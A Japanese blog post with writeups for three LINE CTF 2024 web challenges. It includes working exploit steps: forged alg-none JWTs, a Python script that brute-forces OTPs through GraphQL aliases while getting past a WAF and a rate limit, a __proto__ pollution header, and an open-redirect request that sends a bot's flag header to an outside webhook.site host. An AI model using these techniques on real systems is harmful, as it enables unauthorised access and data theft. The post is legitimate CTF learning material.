よーでんのブログ

One for All,All for わんわんお!

LINE CTF 2024 Writeups

関わった問題のみ書いていきます

jalyboy-baby (web: 100 pt / 428 solves)

It's almost spring. I like spring, but I don't like hay fever.

問題ファイルが配布されていたが、読んでいない。

jalyboy-baby - TOP

「login as guest」と「login as admin」のボタンがあり、admin の方は押せない。
試しに guest をの方を押してみると以下に遷移する。

/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.rUKzvxAwpuro6UF6KETwbMPCLBsPGUScjSEZtQGjfX4

JWTだ。デコードして中身を見ていく。

header = {
  "alg": "HS256"
}

payload = {
  "sub": "guest"
}

signature = rUKzvxAwpuro6UF6KETwbMPCLBsPGUScjSEZtQGjfX4

baby と名前がついてて warmup 感があるので、とりあえず常套手段の alg: none にしてみる。

eyJhbGciOiJub25lIn0.eyJzdWIiOiJndWVzdCJ9.

jalyboy-baby - alg none

特にエラーが出ることも無く「Hi guest!」と帰ってくるので、payload の sub を admin に書き換えてフィニッシュ。

eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

jalyboy-baby - flag

LINECTF{337e737f9f2594a02c5c752373212ef7}

発展問題の jalyboy-jalygirl は悩んでいたらシュッと解かれていた。
CVE-2022-21449 の Psychic Signatures を使うらしい。初耳。

graphql-101 (web: 176 pt / 28 solves)

Hello, I've just learned graphql by following tutorial of express graphql server. I hope nothing goes wrong.

GraphQL 101 - TOP

opt のチェックが40個ある。全問正解するとflagがもらえるようだ。

まず、optの生成について読んでいくと、以下のことがわかってくる。

  • ユーザ名は admin のみサポートしている
  • Object.create(null) で生成しているので、Prototypeガチャガチャは厳しそう
  • admin 要素の配下にIPアドレス毎に opt が生成されていく
  • 0~999 の範囲で 40 個の otp を生成している
const STRENGTH_CHALLENGE = 999;
const NUM_CHALLENGE = 40;

(snip)

// Currently support admin only
var otps = Object.create(null);
otps["admin"] = Object.create(null);
function genOtp(ip, force = false) {
  if (force || !otps["admin"][ip]) {
    function intToString(v) {
      let s = v.toString();
      while (s.length !== STRENGTH_CHALLENGE.toString().length) s = '0' + s;
      return s;
    }
    const otp = [];
    for (let i = 0; i < NUM_CHALLENGE; ++i) 
      otp.push(
        intToString(crypto.randomInt(0, STRENGTH_CHALLENGE))
      );
    otps["admin"][ip] = otp;
  }
}

実際の opts は以下のような感じ。

[Object: null prototype] {
  admin: [Object: null prototype] {
    '::ffff:172.18.0.1': [
      '374', '656', '189', '914', '089',
      '843', '656', '442', '267', '584',
      '797', '430', '205', '140', '473',
      '019', '459', '208', '287', '373',
      '292', '679', '158', '375', '767',
      '044', '224', '528', '868', '100',
      '897', '952', '040', '298', '891',
      '711', '507', '023', '266', '186'
    ]
  }
}

opt の検証は graphql のエンドポイントで実行されていて、128byte までのサイズ制限及び 30 分に 5 回までの制限がかかっている。

const rateLimiter = require('express-rate-limit')({
  windowMs: 30 * 60 * 1000,
  max: 5,
  standardHeaders: true,
  legacyHeaders: false,
  onLimitReached: async (req) => genOtp(req.ip, true)
});

(snip)

app.use((req, res, next) => { genOtp(req.ip); next() });
app.use(require('body-parser').json({ limit: '128b' }));
app.use(
  "/graphql",
  rateLimiter,
  graphqlHTTP({
    schema: schema,
    rootValue: root,
  })
);

Username に yoden、 Otp 0 に 111 を入力したときに POST されるデータは以下。

{"query":"query{otp(u:\"yoden\",i:0,otp:\"111\")}","variables":{}}

検証の流れを見ていく。

function checkOtp(username, ip, idx, otp) {
  if (!otps[username]) return false;
  if (!otps[username][ip]) return false;
  return otps[username][ip][idx] === otp;
}

// Construct a schema, using GraphQL schema language
const schema = buildSchema(`
  type Query {
    otp(u: String!, i: Int!, otp: String!): String!
  }
`);

// The root provides a resolver function for each API endpoint
const root = {
  otp: ({ u, i, otp }, req) => {
    if (i >= NUM_CHALLENGE || i < 0) return ERROR_MSG;
    if (!checkOtp(u, req.ip, i, otp)) return ERROR_MSG;
    rateLimiter.resetKey(req.ip);
    otps[u][req.ip][i] = 1;
    return CORRECT_MSG;
  },
}

opt 正解時に rateLimiter.resetKey(req.ip); でレートリミットがリセットされるため、連続して正解している間はレートリミットを無視できる。
また、 otps[u][req.ip][i] = 1; により opt が 1 で上書きされて opts は以下のようになる。

[Object: null prototype] {
  admin: [Object: null prototype] {
    '::ffff:172.18.0.1': [
      1,     '236', '662', '599', '991',
      '591', '815', '917', '551', '292',
      '906', '569', '932', '557', '945',
      '713', '012', '322', '076', '254',
      '653', '113', '237', '295', '956',
      '413', '470', '506', '138', '769',
      '527', '116', '397', '209', '872',
      '658', '300', '549', '305', '039'
    ]
  }
}

二つのことから一度 Otp 0 に正解した後に 5 回に 1 回 Otp 0 に 1 で答えることでレートリミットを無視して 2 問目以降にチャレンジできそうに思えたが、schema で opt が String に制限されているので int の 1 を送信することは不可。型が一致しないため、 checkOtp で opt の正誤判定 === を抜けれない。

どうにかして 40 問正解した後、/admin にアクセスすることで flag が手に入る。

app.get('/admin', (req, res) => {
  let sum = 0;
  for (let i = 0; i < NUM_CHALLENGE; ++i)
    sum += otps["admin"][req.ip][i];
  res.send((sum === NUM_CHALLENGE) ? process.env.FLAG : ERROR_MSG);
});

また、req.url 及び req.query について waf が用意されている。

// Secure WAF !!!!
const { isDangerousPayload, isDangerousValue } = require('./waf');
app.use((req, res, next) => {
  if (isDangerousValue(req.url)) return res.send(ERROR_MSG);
  if (isDangerousPayload(req.query)) return res.send(ERROR_MSG);
  next();
});

isDangerousValueadmin\ が含まれているとNG
isDangerousPayload はオブジェクトに key と value それぞれに isDangerousValue を呼び出す。valueがオブジェクトな場合は再帰してチェックしていく。

function isDangerousValue(s) {
  return s.includes('admin') || s.includes('\\'); // Linux does not need to support "\"
}

/** Secured WAF for admin on Linux
*/
function isDangerousPayload(obj) {
  if (!obj) return false;
  const keys = Object.keys(obj);
  for (let i = 0; i < keys.length; ++i) {
    const key = keys[i];
    if (isDangerousValue(key)) return true;
    if (typeof obj[key] === 'object') {
      if (isDangerousPayload(obj[key])) return true;
    } else {
      const val = obj[key].toString();
      if (isDangerousValue(val)) return true;
    }
  }
  return false;
}

そのため /admin にアクセスできないが、これは express のサーバなので /Admin にアクセスすることで waf に検知されずにアクセスできる。

レートリミット対策に otp を複数一気に遅れないかなと思っていたが、エラー。

query{
    otp(u: "admin",i: 0,otp: "000"),
    otp(u: "admin",i: 0,otp: "001")
}

Fields "otp" conflict because they have differing arguments. Use different aliases on the fields to fetch both if this was intentional.

ここで悩んでいたら、なんと alias なるものがあるらしい。 *1

query{
    a0:otp(u: "admin",i: 0,otp: "000"),
    a1:otp(u: "admin",i: 0,otp: "001")
}

{"data":{"a0":"Wrong !!!","a1":"Wrong !!!"}}

これで otp を一度に複数回実行できるようになった。

ただ POST の Body は 128byte までのサイズ制限があるので、このまま追加していたらすぐ引っかかる。

app.use(require('body-parser').json({ limit: '128b' }));

express-graphql のソースを読んでいたら、 query は GET のクエリパラメータでも実行できることを思い出した。
「mutation じゃないのに更新してるの使えるかな~」と考えていたのでちょっとスッキリ。

GET /graphql?query=query{a0%3aotp(u%3a"yoden",i%3a0,otp%3a"000")a1%3aotp(u%3a"yoden",i%3a0,otp%3a"001")} HTTP/1.1
Host: localhost:7654

{"data":{"a0":"Wrong !!!","a1":"Wrong !!!"}}

waf のせいで u に admin の文字が入れれない。unicodeでバイパスしたくても \ も入れれない。

再度 express-graphql のソースを読んでいたら、query や valiables をクエリパラメータとボディにバラバラに配置することが可能ということがわかった。
以下のような形で、waf と サイズ制限を回避しながら otp を複数同時に実行できる。

POST http://localhost:7654/graphql?query=query+($u:String!){a1:otp(u%3a$u,i%3a+0,+otp%3a"001"),a2:otp(u%3a$u,i%3a+0,+otp%3a"002")} HTTP/1.1
Host: localhost:7654
Content-Length: 29
Content-Type: application/json


{"variables":{"u":"admin"}}

1000個同時はデカすぎてエラーになるので、行儀よく200個ずつに分割して送る。

import requests
import time

target = "http://localhost:7654"

variables = {"variables": {"u": "admin"}}

for i in range(40):
    for j in [0, 200, 400, 600, 800]:
        print(f"i={i}, j={j}")
        otps = "".join(
            [f'a{x:03}:otp(u:$u,i:{i},otp:"{x:03}")' for x in range(j, j + 199)]
        )

        res = requests.post(
            f'{target}/graphql?query=query($u:String!){{{otps}}}',
            json=variables,
        )
        time.sleep(0.1)

        if "OK !!!" in res.text:
            print("break")
            break

res = requests.get(f"{target}/Admin")
print(res.text)

LINECTF{db37c207abbc5f2863be4667129f70e0} *2

hhhhhhhref (web: 257 pt / 12 solves)

Are they specifications or are they vulnerabilities? What do you think?

build_local.md に従って環境を作ってビルドする。 .env は配布してほしいきもち。。

hhhhhhhref - TOP

register, login, redirect, crawler の 4 つの機能がある。

register, login は想像のとおりの機能だし、redirect は admin にしか使えないらしいので crawler から見ていく。

            // login
            await page.goto(`${process.env.NEXTAUTH_URL}/api/auth/signin?callbackUrl=/`);
            await page.type("#input-name-for-credentials-provider", username);
            await page.type("#input-password-for-credentials-provider", password);
    
            await Promise.all([
                page.waitForNavigation(),
                page.click("button[type=submit]"),
            ]);
    
            // crawl with provided code
            await page.setExtraHTTPHeaders({
                "X-LINECTF-FLAG": process.env.FLAG
            });
            await page.goto(`${process.env.NEXTAUTH_URL}/rdr?errorCode=${code}`);
            await delay(1500);

username , password でログインした後、 HTTP ヘッダに flag を付けた状態で /rdr?errorCode=${code} にアクセスする。username , password , code の3つはどれもユーザ入力。

この rdr はさっき redirect とされていた機能で、先述の通り admin しか使えない。まずはこれにアクセスできないといけないので、そこの制限について見ていく。

    const userData = await redis.hgetall(session.user.userId);
    redis.disconnect();

    // are you ADMIN?
    if (
        userData.userRole === 'ADMIN' &&
        userData.adminSecretToken === process.env.ADMIN_SECRET_TOKEN
    ) {
        return { props: { errorCode: errorCode } };
    }

    // are you USER?
    if (userData.userRole === 'USER' && Object.keys(userData).length === 3) {
        return {
            redirect: {
                permanent: false,
                destination: '/error/403',
            },
            props: {},
        };
    } else {
        return { props: { errorCode: errorCode } };
    }

userRoleADMIN であるか、 userRoleUSER であり Object.keys(userData).length3 でないときに使えることがわかる。
userDataredis.hgetall(session.user.userId) なので、redis を見に行く。

hhhhhhhref_redis はログイン状態のユーザ情報を管理している。

$ docker exec -it hhhhhhhref_redis bash
root@9070729cd2c2:/data# redis-cli
127.0.0.1:6379> keys *
1) "USER_clu6q8g0c0000snm3stc9qhqc"
127.0.0.1:6379> hgetall USER_clu6q8g0c0000snm3stc9qhqc
1) "userName"
2) "yoden"
3) "userRole"
4) "USER"
5) "userSecretToken"
6) "34ab8757-09de-47ae-9da8-8577cf601d81"

この時の userData のイメージは以下。

{
    userName: 'yoden',
    userRole: 'USER',
    userSecretToken: '34ab8757-09de-47ae-9da8-8577cf601d81'
}

これでは Object.keys(userData).length3 でなくなることなど無さそうだが、完全に要らないコードが書いてあるということは考えにくいので増やすか減らす術があるのだろう。それぞれ見ていく。

username は数字アルファベット大文字小文字のみが利用可能で、 "admin" 以外の一文字以上。
これでできることはほぼ無さそう。

async function register(req: any, res: any) {
    const { name, password } = req.body;

    if (name.length < 1 || password.length < 1) {
        return res.status(400).end();
    }

    if (/[^0-9a-zA-Z].*/.test(name)) {
        return res.status(400).end();
    }

    if (name.toLowerCase() === 'admin') {
        return res.status(400).end();
    }

userRole が ADMIN になるのは userName が admin のとき。つまり無理。

                if (credentials?.name === 'admin') {
                    const userId = 'ADMIN_' + loginUser.id;
                    const userName = loginUser.name;
                    const userRole = 'ADMIN';

                    redis.hset(userId, 'userName', userName);
                    redis.hset(userId, 'userRole', userRole);
                    redis.hset(
                        userId,
                        'adminSecretToken',
                        process.env.ADMIN_SECRET_TOKEN as string
                    );

                    return {
                        userId,
                        name: userName,
                        role: userRole,
                    };

(snip)

                const userId = 'USER_' + loginUser.id;
                const userName = loginUser.name;
                const userRole = 'USER';
                const normalUser = {
                    userId,
                    name: userName,
                    role: userRole,
                };

USER の時に userSecretToken 周りの処理が続く。

                // NOTE: the following will ONLY be executed on first login after registration
                if (!(await redis.exists(userId))) {
                    if (!req.headers) {
                        return null;
                    }

                    // prevent overwriting of default keys
                    if (req.headers['x-user-token-key']) {
                        if (
                            ['username', 'userrole'].includes(
                                req.headers['x-user-token-key'].toLowerCase()
                            )
                        ) {
                            return null;
                        }
                    }

                    // set default values
                    const defaultKey = 'userSecretToken';
                    req.headers['x-user-token-key'] =
                        req.headers['x-user-token-key'] || defaultKey;
                    req.headers['x-user-token-value'] =
                        req.headers['x-user-token-value'] ||
                        crypto.randomUUID().toString();

                    // save registered user info in redis
                    redis.hset(userId, 'userName', userName);
                    redis.hset(userId, 'userRole', userRole);
                    redis.hset(
                        userId,
                        req.headers['x-user-token-key'].toString(),
                        req.headers['x-user-token-value'].toString()
                    );
                }

Redis に ユーザIDの key が存在しないとき、req.headers['x-user-token-key'] をオブジェクトの key として req.headers['x-user-token-value'] の値をセットできる。
「Redis に ユーザIDの key が存在しないとき」はコメントを信じるなら register 直後の一度のみだが、ログアウト時に以下の処理で全部削除されるので「該当ユーザがログインしていない時」となる。

    await redis.del(session.user.userId);

さて、ここで重要なのが「オブジェクトのkeyを操作可能」なこと。

以下のようなリクエストを送信する

POST /api/auth/callback/credentials HTTP/1.1
Host: hhhhhhhref:3000
Origin: http://hhhhhhhref:3000
Content-Type: application/x-www-form-urlencoded
Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000
Content-Length: 100
x-user-token-key: test

csrfToken=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f&name=yoden&password=yoden

その後ログインすると、Redis 内の値がこうなる。

127.0.0.1:6379> hgetall USER_clu6q8g0c0000snm3stc9qhqc
1) "userName"
2) "yoden"
3) "userRole"
4) "USER"
5) "test"
6) "989e99a3-e331-450a-830a-e3b38835ac36"

この時の userData はこう。

{
    userName: 'yoden',
    userRole: 'USER',
    test: '34ab8757-09de-47ae-9da8-8577cf601d81'
}

こうなったときに使えそうなのが __proto__
x-user-token-key ヘッダを __proto__ として送信する。

POST /api/auth/callback/credentials HTTP/1.1
Host: hhhhhhhref:3000
Origin: http://hhhhhhhref:3000
Content-Type: application/x-www-form-urlencoded
Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000
Content-Length: 100
x-user-token-key: __proto__

csrfToken=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f&name=yoden&password=yoden

すると、 yoden:yoden でログインしたときに Object.keys(userData).length が 2 になり、 admin 用の機能である redirect が使えるようになった。

では rdr を読んでいく。

    const handler = () => {
        const newUrl = document.getElementsByClassName(
            'redirect_url'
        )[0] as HTMLAnchorElement;
        window.location.href = newUrl.href;
    };

    useEffect(() => {
        setTimeout(() => {
            handler();
        }, 500);
(snip)

                <Link
                    href={{
                        pathname: `/report/error/${props.errorCode}`,
                    }}
                    className="redirect_url"
                    target="_blank"
                >

errorCode が href に反映され、自動でリダイレクトする。いかにもオープンリダイレクトしてほしそう。
手元で試したら、ここで他ドメインにリダイレクトしたときにもちゃんとHTTPヘッダが引き継がれていたので、flagが盗めそう。

まず思いつくのは /report/error/${props.errorCode} なので ../../foobar で任意のパスを指定できそうなこと。
/rdr?errorCode=../../foo/bar としたら、リダイレクト先が /foo/bar になった。
だがこれでは他ドメインに飛べない。任意のパスでオープンリダイレクトできそうな箇所を探す。

しばらくして、 /rdr?errorCode=../../foo/bar?url=example.com としたときにリダイレクト時のURLが /foo/bar%3Furl=example.com となることに気付いた。
?エンコードされてしまうので、これではクエリパラメータが使えない。パス部分だけでオープンリダイレクトを探すとなると希望は薄い。

アプリケーション内には何もなく、Webできる人総動員でnext-auth のソースを読みに行っても何も見つからず。
「無理じゃ~ん」と諦めながらブラウザ側でデバッグしてみたらURLが正規化されている。

hhhhhhhref - redirect

いろいろと試してみる。

errorCode href
foo /report/error/foo
../../foo /foo
../..//foo /foo
../..////////foo /foo
%0afoo /report/error/foo

連続した / は一つにまとめられ、 URL的に invalid な改行などは消される。
そして、ガチャガチャしていたら ../../%0a/foo//foo になった。

/rdr?errorCode=../../%0a/example.com これで example.com に飛ばせる。
あとは crawler に投げるだけ。

POST /api/bot/crawl HTTP/1.1
Host: hhhhhhhref:3000
Content-Length: 117
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://hhhhhhhref:3000
Referer: http://hhhhhhhref:3000/crawl
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000%2F; 
Connection: close

{"name":"yoden","password":"yoden","errorCode":"../../%0a/webhook.site/..."}

URLの - にURLエンコードが必要なことに気付かずに実行してて、全然リクエスト来なくてめちゃめちゃ焦った。

LINECTF{7320a1b512380dd4e0452f9fc3166201} *3

*1:よく読んだら「違う alias 使ってね」って書いてあった。。。「Fields "otp" conflict」までしか読んでなかった。。。

*2:この問題に結構な時間をかけていた間に他のWeb問題がなぎ倒されていたし、この問題も巻き添えを喰らっていて最後まで解いたのは自分じゃないけど、後日ちゃんと自分でスクリプトを書いた。偉い。

*3:実は参戦した時点でオープンリダイレクトをすれば良いところまでは進んでいたが、writeupなのでちゃんと1から書いた。偉い。